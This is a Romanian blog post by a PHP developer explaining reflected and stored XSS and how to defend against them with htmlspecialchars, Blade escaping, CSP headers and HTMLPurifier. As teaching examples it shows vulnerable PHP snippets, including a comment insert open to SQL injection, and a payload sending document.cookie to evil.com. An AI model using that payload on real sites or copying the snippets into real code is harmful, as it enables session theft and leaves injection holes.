XSS in PHP: cum functioneaza atacul si cum m-am protejat

Security | Stefanescu Mihai | 2026-06-01

Am gasit primul meu XSS intr-un proiect vechi de-al meu. Un camp de cautare care afisa inapoi ce ai cautat. Simplu. Inofensiv. Sau asa credeam.

echo "Ai cautat: " . $_GET['q'];

Cineva putea accesa `https://site.ro/search?q=<script>alert('XSS')</script>` si browser-ul executa codul. De acolo la furt de sesiuni sau redirectionare catre phishing era un pas mic.

Ce este XSS?

Cross-Site Scripting (XSS) e o vulnerabilitate prin care un atacator injecteaza cod JavaScript in pagini vizualizate de alti useri. Exista doua tipuri principale:

Reflected XSS

Codul malitios vine din URL sau un form si e afisat direct in raspuns, fara sa fie salvat in baza de date:

// Vulnerabil
echo "Buna, " . $_GET['name'];

// Atacatorul trimite:
// /greet?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Victima primeste un link cu payload-ul in URL. Cand il acceseaza, scriptul ruleaza in browser-ul ei.

Stored XSS

Codul e salvat in baza de date si afisat tuturor userilor:

// Formular de comentarii - vulnerabil
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// Cand afisezi comentariile:
echo $row['text']; // afiseaza scriptul tuturor

Stored XSS e mai periculos: nu ai nevoie sa convingi victima sa acceseze un URL special — oricine viziteaza pagina e afectat.

Cum te protejezi

1. htmlspecialchars() — protectia de baza

Inainte sa afisezi orice input de la user, escapezi caracterele HTML:

// Vulnerabil
echo $_GET['name'];

// Sigur
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

`htmlspecialchars()` transforma:
- `<` in `&lt;`
- `>` in `&gt;`
- `"` in `&quot;`
- `'` in `&#039;`
- `&` in `&amp;`

Browser-ul afiseaza caracterele, nu le executa.

Regula importanta: orice date externe (GET, POST, baza de date, API-uri terte) trebuie escape-ate inainte de afisare.

// Creeaza o functie helper
function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

echo "Buna, " . e($_GET['name']);

2. Blade in Laravel — escape automat

In Laravel, `{{ }}` face escape automat:

{{ $user->name }}  {{-- safe, face htmlspecialchars automat --}}
{!! $user->name !!}  {{-- PERICULOS, afiseaza HTML brut --}}

Folosesti `{!! !!}` doar cand esti 100% sigur ca datele sunt curate (ex: HTML generat de tine, nu de user).

3. Content Security Policy (CSP)

CSP e un header HTTP care spune browser-ului de unde are voie sa incarce resurse:

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;");

Cu CSP, chiar daca un script e injectat, browser-ul refuza sa-l execute daca nu vine dintr-o sursa permisa.

In Laravel, poti seta headers in middleware:

class SecurityHeaders
{
    public function handle(Request $request, Closure $next): Response
    {
        $response = $next($request);
        $response->headers->set(
            'Content-Security-Policy',
            "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
        );
        return $response;
    }
}

4. Sanitizare pentru rich text

Daca ai un editor WYSIWYG si trebuie sa salvezi HTML, nu poti escape tot. Ai nevoie de o librarie de sanitizare:

composer require ezyang/htmlpurifier

apoi o folosim astfel

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$safeHtml = $purifier->purify($_POST['content']);


HTMLPurifier pastreaza HTML valid si elimina orice script sau atribut `on*`.

Checklist rapid

- [ ] Toate variabilele afisate in view sunt escape-ate cu `htmlspecialchars()` sau `{{ }}` in Blade
- [ ] `{!! !!}` e folosit doar pentru continut generat intern
- [ ] CSP header e setat
- [ ] Rich text e sanitizat cu HTMLPurifier inainte de salvare
- [ ] Niciun `$_GET`/`$_POST` nu e afisat direct

XSS e una dintre cele mai frecvente vulnerabilitati web tocmai pentru ca e usor de ratat. Un `echo $_GET['q']` facut in graba intr-un proiect mic si ai o gaura de securitate. Lasa un comentariu daca ai intrebari sau vrei sa testam un scenariu specific.


Imi place ce faci aici
Daca iti place ce fac aici imi poti cumpara o cafea Buy Me a Coffee at ko-fi.com

Stefanescu Mihai
Programator de ~8 ani, am lucrat la proiecte din mai multe industrstrii, de la eCommerce la telecomunicatii la automatizari. In acest timp am folosi diferite tehnologii, de la PHP, MySQL, PostgreSql, RabbitMq, Redis, Memcached si altele.
       

Get in touch
Pentru nelamuriri, dubii, comentarii si chestii de pe suflet ne putem auzi pe Discord, Reddit sau poti deschide o discutie noua pe forum.

Posteaza un comentariu

Comentarii

Inca nu au fost postate comentarii, fii primul care posteaza un comentariu!

Club-ul este dedicat membrilor si ofera access la mai multe zone ale website-ului.

🗝️ Login 🌟 Register

🔖 Bookmarks
✨ Pentru a sustine aceasta comunitate am sa te rog sa te autentifici sau sa te inregistrezi!

🌪️ Discord

Folosim cookie-uri pentru a oferi functionalitatile critice ale aplicatiei Invata-Programare. Folosim cookie-uri si pentru a analiza traficul, pentru care e nevoie de consimtamantul dvs. explicit.

⬆️